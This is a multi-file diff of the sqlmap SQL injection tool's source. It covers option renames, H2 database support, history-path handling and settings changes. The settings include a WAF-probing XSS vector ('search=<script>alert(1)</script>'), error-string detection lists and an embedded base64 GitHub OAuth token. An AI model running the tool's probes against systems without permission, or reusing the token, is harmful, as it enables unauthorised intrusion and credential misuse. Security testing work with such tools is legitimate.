-    _dirtyPatches()
-    _purgeOutput()
+    _purge()
    _checkDependencies()
    _createTemporaryDirectory()
    _basicOptionValidation()
@@ -2638,6 +2474,7 @@ def init():
    _setDNSServer()
    _adjustLoggingFormatter()
    _setMultipleTargets()
+    _listTamperingFunctions()
    _setTamperingFunctions()
    _setWafFunctions()
    _setTrafficOutputFP()
@@ -2645,10 +2482,10 @@ def init():
    _resolveCrossReferences()
    _checkWebSocket()

-    parseTargetUrl()
    parseTargetDirect()

    if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
+        _setHostname()
        _setHTTPTimeout()
        _setHTTPExtraHeaders()
        _setHTTPCookies()
@@ -109,7 +109,8 @@ optDict = {
        "uChar": "string",
        "uFrom": "string",
        "dnsDomain": "string",
-        "secondOrder": "string",
+        "secondUrl": "string",
+        "secondReq": "string",
    },

    "Fingerprint": {
@@ -164,9 +165,9 @@ optDict = {
    },

    "File system": {
-        "rFile": "string",
-        "wFile": "string",
-        "dFile": "string",
+        "fileRead": "string",
+        "fileWrite": "string",
+        "fileDest": "string",
    },

    "Takeover": {
@@ -226,9 +227,10 @@ optDict = {
        "disableColoring": "boolean",
        "googlePage": "integer",
        "identifyWaf": "boolean",
+        "listTampers": "boolean",
        "mobile": "boolean",
        "offline": "boolean",
-        "purgeOutput": "boolean",
+        "purge": "boolean",
        "skipWaf": "boolean",
        "smart": "boolean",
        "tmpDir": "string",
@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import codecs
+import httplib
+
+from lib.core.settings import IS_WIN
+
+def dirtyPatches():
+    """
+    Place for "dirty" Python related patches
+    """
+
+    # accept overly long result lines (e.g. SQLi results in HTTP header responses)
+    httplib._MAXLINE = 1 * 1024 * 1024
+
+    # add support for inet_pton() on Windows OS
+    if IS_WIN:
+        from thirdparty.wininetpton import win_inet_pton
+
+    # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
+    codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
@@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
    if os.path.exists(imageOutputFile):
        os.remove(imageOutputFile)

-    infoMsg = "profiling the execution into file %s" % profileOutputFile
+    infoMsg = "profiling the execution into file '%s'" % profileOutputFile
    logger.info(infoMsg)

    # Start sqlmap main function and generate a raw profile file
@@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
    if isinstance(pydotGraph, list):
        pydotGraph = pydotGraph[0]

-    pydotGraph.write_png(imageOutputFile)
+    try:
+        pydotGraph.write_png(imageOutputFile)
+    except OSError:
+        errMsg = "profiling requires graphviz installed "
+        errMsg += "(Hint: 'sudo apt-get install graphviz')"
+        logger.error(errMsg)
+    else:
+        infoMsg = "displaying interactive graph with xdot library"
+        logger.info(infoMsg)

-    infoMsg = "displaying interactive graph with xdot library"
-    logger.info(infoMsg)
-
-    # Display interactive Graphviz dot file by using extra/xdot/xdot.py
-    # http://code.google.com/p/jrfonseca/wiki/XDot
-    win = xdot.DotWindow()
-    win.connect('destroy', gtk.main_quit)
-    win.set_filter("dot")
-    win.open_file(dotOutputFile)
-    gtk.main()
+        # Display interactive Graphviz dot file by using extra/xdot/xdot.py
+        # http://code.google.com/p/jrfonseca/wiki/XDot
+        win = xdot.DotWindow()
+        win.connect('destroy', gtk.main_quit)
+        win.set_filter("dot")
+        win.open_file(dotOutputFile)
+        gtk.main()
@@ -14,11 +14,11 @@ _readline = None
 try:
    from readline import *
    import readline as _readline
-except ImportError:
+except:
    try:
        from pyreadline import *
        import pyreadline as _readline
-    except ImportError:
+    except:
        pass

 if IS_WIN and _readline:
@@ -19,12 +19,13 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.2.4.0"
+VERSION = "1.2.12.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
 DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
+DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
 DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
 GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
@@ -45,10 +46,10 @@ BANNER = """\033[01;33m\
 DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9

-# Ratio used in heuristic check for WAF/IPS/IDS protected targets
+# Ratio used in heuristic check for WAF/IPS protected targets
 IDS_WAF_CHECK_RATIO = 0.5

-# Timeout used in heuristic check for WAF/IPS/IDS protected targets
+# Timeout used in heuristic check for WAF/IPS protected targets
 IDS_WAF_CHECK_TIMEOUT = 10

 # Lower and upper values for match ratio in case of stable page
@@ -71,6 +72,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
+SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"

 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -97,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
 PRECONNECT_CANDIDATE_TIMEOUT = 10

+# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
+PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
+
 # Maximum sleep time in "Murphy" (testing) mode
 MAX_MURPHY_SLEEP_TIME = 3

@@ -170,6 +175,9 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
 # Minimum time response set needed for time-comparison based on standard deviation
 MIN_TIME_RESPONSES = 30

+# Maximum time response set used during time-comparison based on standard deviation
+MAX_TIME_RESPONSES = 200
+
 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation
 MIN_UNION_RESPONSES = 5

@@ -233,6 +241,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")

 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -246,20 +255,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
+H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")

 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))

-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
 SUPPORTED_OS = ("linux", "windows")

-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))

 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)

-HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"

 # Names that can't be used to name files on Windows OS
 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -321,6 +331,7 @@ FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>

 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
+    r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
    r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
    r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
    r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
@@ -364,10 +375,10 @@ URI_HTTP_HEADER = "URI"
 URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"

 # Regex used for masking sensitive data
-SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
+SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"

 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")

 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
@@ -388,7 +399,7 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
 CUSTOM_INJECTION_MARK_CHAR = '*'

 # Other way to declare injection position
-INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'
+INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"

 # Minimum chunk length used for retrieving data over error based payloads
 MIN_ERROR_CHUNK_LENGTH = 8
@@ -406,7 +417,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
 REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"

 # Regular expression used for replacing non-alphanum characters
-REFLECTED_REPLACEMENT_REGEX = r".+"
+REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"

 # Maximum time (in seconds) spent per reflective value(s) replacement
 REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -426,6 +437,9 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
 # Display hash attack info every mod number of items
 HASH_MOD_ITEM_DISPLAY = 11

+# Display marker for (cracked) empty password
+HASH_EMPTY_PASSWORD_MARKER = "<empty>"
+
 # Maximum integer value
 MAX_INT = sys.maxint

@@ -487,7 +501,7 @@ LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual c
 REFLECTIVE_MISS_THRESHOLD = 20

 # Regular expression used for extracting HTML title
-HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
+HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"

 # Table used for Base64 conversion in WordPress hash cracking routine
 ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
@@ -524,7 +538,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
 # Value to look for in response to CHECK_INTERNET_ADDRESS
 CHECK_INTERNET_VALUE = "IP Address Details"

-# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
+# Vectors used for provoking specific WAF/IPS behavior(s)
 WAF_ATTACK_VECTORS = (
    "",  # NIL
    "search=<script>alert(1)</script>",
@@ -583,7 +597,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
 FORCE_COOKIE_EXPIRATION_TIME = "9999999999"

 # Github OAuth token used for creating an automatic Issue for unhandled exceptions
-GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
+GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="

 # Skip unforced HashDB flush requests below the threshold number of cached items
 HASHDB_FLUSH_THRESHOLD = 32
@@ -598,7 +612,7 @@ HASHDB_RETRIEVE_RETRIES = 3
 HASHDB_END_TRANSACTION_RETRIES = 3

 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
-HASHDB_MILESTONE_VALUE = "dPHoJRQYvs"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
+HASHDB_MILESTONE_VALUE = "BZzRotigLX"  # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'

 # Warn user of possible delay due to large page dump in full UNION query injections
 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -631,7 +645,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
 DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"

 # Regular expression used for recognition of file inclusion errors
-FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
+FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"

 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
@@ -673,7 +687,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100

 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")

 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -748,7 +762,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."

 # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
-CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf")
+CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")

 # Prefixes used in brute force search for web server document root
 BRUTE_DOC_ROOT_PREFIXES = {
@@ -786,9 +800,9 @@ tr:nth-child(even) {
    background-color: #D3DFEE
 }
 td{
-    font-size:10px;
+    font-size:12px;
 }
 th{
-    font-size:10px;
+    font-size:12px;
 }
 </style>"""
@@ -53,28 +53,33 @@ def clearHistory():
    readline.clear_history()

 def saveHistory(completion=None):
-    if not readlineAvailable():
-        return
-
-    if completion == AUTOCOMPLETE_TYPE.SQL:
-        historyPath = paths.SQL_SHELL_HISTORY
-    elif completion == AUTOCOMPLETE_TYPE.OS:
-        historyPath = paths.OS_SHELL_HISTORY
-    else:
-        historyPath = paths.SQLMAP_SHELL_HISTORY
-
    try:
-        with open(historyPath, "w+"):
+        if not readlineAvailable():
+            return
+
+        if completion == AUTOCOMPLETE_TYPE.SQL:
+            historyPath = paths.SQL_SHELL_HISTORY
+        elif completion == AUTOCOMPLETE_TYPE.OS:
+            historyPath = paths.OS_SHELL_HISTORY
+        elif completion == AUTOCOMPLETE_TYPE.API:
+            historyPath = paths.API_SHELL_HISTORY
+        else:
+            historyPath = paths.SQLMAP_SHELL_HISTORY
+
+        try:
+            with open(historyPath, "w+"):
+                pass
+        except:
            pass
-    except:
-        pass

-    readline.set_history_length(MAX_HISTORY_LENGTH)
-    try:
-        readline.write_history_file(historyPath)
-    except IOError, msg:
-        warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
-        logger.warn(warnMsg)
+        readline.set_history_length(MAX_HISTORY_LENGTH)
+        try:
+            readline.write_history_file(historyPath)
+        except IOError, msg:
+            warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
+            logger.warn(warnMsg)
+    except KeyboardInterrupt:
+        pass

 def loadHistory(completion=None):
    if not readlineAvailable():
@@ -86,6 +91,8 @@ def loadHistory(completion=None):
        historyPath = paths.SQL_SHELL_HISTORY
    elif completion == AUTOCOMPLETE_TYPE.OS:
        historyPath = paths.OS_SHELL_HISTORY
+    elif completion == AUTOCOMPLETE_TYPE.API:
+        historyPath = paths.API_SHELL_HISTORY
    else:
        historyPath = paths.SQLMAP_SHELL_HISTORY

@@ -5,7 +5,6 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-import codecs
 import functools
 import os
 import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
 from lib.core.exception import SqlmapGenericException
 from lib.core.exception import SqlmapMissingPrivileges
+from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
 from lib.core.option import _setAuthCred
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
+from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
+from lib.core.settings import INJECT_HERE_REGEX
 from lib.core.settings import JSON_RECOGNITION_REGEX
 from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
 from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -83,6 +85,7 @@ def _setRequestParams():
        conf.parameters[None] = "direct connection"
        return

+    hintNames = []
    testableParameters = False

    # Perform checks on GET parameters
@@ -101,7 +104,6 @@ def _setRequestParams():

    if conf.data is not None:
        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
-        hintNames = []

        def process(match, repl):
            retVal = match.group(0)
@@ -148,8 +150,8 @@ def _setRequestParams():
                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
                    if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
                        _ = match.group(2)
-                        _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
-                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
+                        _ = re.sub(r'("[^"]+)"', r'\g<1>%s"' % kb.customInjectionMark, _)
+                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', r'\g<0>%s' % kb.customInjectionMark, _)
                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))

                kb.postHint = POST_HINT.JSON
@@ -230,7 +232,7 @@ def _setRequestParams():
            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

-    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks
+    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
@@ -344,7 +346,7 @@ def _setRequestParams():
            # Url encoding of the header values should be avoided
            # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value

-            if httpHeader.title() == HTTP_HEADER.USER_AGENT:
+            if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
                conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -353,7 +355,7 @@ def _setRequestParams():
                    conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
                    testableParameters = True

-            elif httpHeader.title() == HTTP_HEADER.REFERER:
+            elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
                conf.parameters[PLACE.REFERER] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -362,7 +364,7 @@ def _setRequestParams():
                    conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
                    testableParameters = True

-            elif httpHeader.title() == HTTP_HEADER.HOST:
+            elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
                conf.parameters[PLACE.HOST] = urldecode(headerValue)

                condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -467,7 +469,13 @@ def _resumeDBMS():
    value = hashDBRetrieve(HASHDB_KEYS.DBMS)

    if not value:
-        return
+        if conf.offline:
+            errMsg = "unable to continue in offline mode "
+            errMsg += "because of lack of usable "
+            errMsg += "session data"
+            raise SqlmapNoneDataException(errMsg)
+        else:
+            return

    dbms = value.lower()
    dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -571,7 +579,7 @@ def _createFilesDir():
    Create the file directory.
    """

-    if not conf.rFile:
+    if not conf.fileRead:
        return

    conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname
@@ -619,33 +627,35 @@ def _createTargetDirs():
    Create the output directory.
    """

-    try:
-        if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-            os.makedirs(paths.SQLMAP_OUTPUT_PATH)
-
-        _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
-        open(_, "w+b").close()
-        os.remove(_)
-
-        if conf.outputDir:
-            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
-            logger.warn(warnMsg)
-    except (OSError, IOError), ex:
+    for context in "output", "history":
+        directory = paths["SQLMAP_%s_PATH" % context.upper()]
        try:
-            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
-        except Exception, _:
-            errMsg = "unable to write to the temporary directory ('%s'). " % _
-            errMsg += "Please make sure that your disk is not full and "
-            errMsg += "that you have sufficient write permissions to "
-            errMsg += "create temporary files and/or directories"
-            raise SqlmapSystemException(errMsg)
+            if not os.path.isdir(directory):
+                os.makedirs(directory)

-        warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
-        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
-        warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
-        logger.warn(warnMsg)
+            _ = os.path.join(directory, randomStr())
+            open(_, "w+b").close()
+            os.remove(_)

-        paths.SQLMAP_OUTPUT_PATH = tempDir
+            if conf.outputDir and context == "output":
+                warnMsg = "using '%s' as the %s directory" % (directory, context)
+                logger.warn(warnMsg)
+        except (OSError, IOError), ex:
+            try:
+                tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
+            except Exception, _:
+                errMsg = "unable to write to the temporary directory ('%s'). " % _
+                errMsg += "Please make sure that your disk is not full and "
+                errMsg += "that you have sufficient write permissions to "
+                errMsg += "create temporary files and/or directories"
+                raise SqlmapSystemException(errMsg)
+
+            warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
+            warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
+            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
+            logger.warn(warnMsg)
+
+            paths["SQLMAP_%s_PATH" % context.upper()] = tempDir

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))

@@ -669,8 +679,10 @@ def _createTargetDirs():

        conf.outputPath = tempDir

+    conf.outputPath = getUnicode(conf.outputPath)
+
    try:
-        with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
+        with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
            f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
            f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
            f.write("  # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
@@ -689,6 +701,13 @@ def _createTargetDirs():
    _createFilesDir()
    _configureDumper()

+def _setAuxOptions():
+    """
+    Setup auxiliary (host-dependent) options
+    """
+
+    kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
+
 def _restoreMergedOptions():
    """
    Restore merged options (command line, configuration file and default values)
@@ -735,6 +754,9 @@ def initTargetEnv():
            setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
            kb.postSpaceToPlus = '+' in original

+    match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
+    kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
+
 def setupTargetEnv():
    _createTargetDirs()
    _setRequestParams()
@@ -742,3 +764,4 @@ def setupTargetEnv():
    _resumeHashDBValues()
    _setResultsFile()
    _setAuthCred()
+    _setAuxOptions()
@@ -92,10 +92,10 @@ def exceptionHandledFunction(threadFunction, silent=False):
        kb.threadException = True
        raise
    except Exception, ex:
-        if not silent:
+        if not silent and kb.get("threadContinue"):
            logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))

-            if conf.verbose > 1:
+            if conf.get("verbose") > 1:
                traceback.print_exc()

 def setDaemon(thread):
@@ -168,6 +168,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio

    except (KeyboardInterrupt, SqlmapUserQuitException), ex:
        print
+        kb.prependFlag = False
        kb.threadContinue = False
        kb.threadException = True

@@ -188,7 +189,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
        kb.threadException = True
        logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))

-        if conf.verbose > 1:
+        if conf.get("verbose") > 1:
            traceback.print_exc()

    except:
@@ -17,6 +17,7 @@ import zipfile

 from lib.core.common import dataToStdout
 from lib.core.common import getSafeExString
+from lib.core.common import getLatestRevision
 from lib.core.common import pollProcess
